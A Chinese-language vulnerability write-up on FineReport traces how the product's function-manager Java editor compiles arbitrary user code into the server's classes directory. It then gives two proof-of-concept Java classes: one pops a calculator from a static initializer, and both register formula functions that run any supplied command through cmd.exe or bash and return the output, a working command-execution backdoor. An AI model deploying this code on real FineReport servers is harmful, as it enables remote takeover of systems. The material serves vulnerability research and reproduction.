finereport本地命令执行--扩展

0x01 分析

新版中存在函数管理器,这里可以看见，允许我们自己编写java代码。

com.fr.design.formula.JavaEditorPane

它会调用这个这个进行处理

它会调用这个这个把我们编辑的类写入到当前运行环境的classes下。

com.fr.stable.JavaSourceCode#getPackageNameInText

在编译成class的时候会调用这个类，它会要求我们源码中有package，也就是包名。再就是调用

com.fr.env.operator.CommonOperatorImpl#compile进行编译

本就是通过这个功能我们可以把任意代码编译成class写到当前运行环境的classes目录下。

0x02 复现

准备poc

package com.fr;
import com.fr.script.AbstractFunction;
import com.fr.stable.exception.FormulaException;

import java.io.IOException;
import java.util.Scanner;

public class scriptexp extends AbstractFunction{
    static {
        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "calc"} : new String[]{"/bin/bash", "-c", "open -a Calculator"};
        try {
            Runtime.getRuntime().exec(var12);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public Object run(Object[] args) throws FormulaException {
        if (args.length != 1) {
            return "please input a command";
        }
        String command = args[0].toString().trim();
        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command};
        try {
            String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next();
            return s;
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}



package com.fr.function;

import com.fr.script.AbstractFunction;
import com.fr.stable.exception.FormulaException;

import java.io.IOException;
import java.util.Scanner;

public class shell2 extends AbstractFunction{

    @Override
    public Object run(Object[] args) throws FormulaException {
        if (args.length != 1) {
            return "please input a command";
        }
        String command = args[0].toString().trim();
        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command};
        try {
            String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next();
            return s;
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}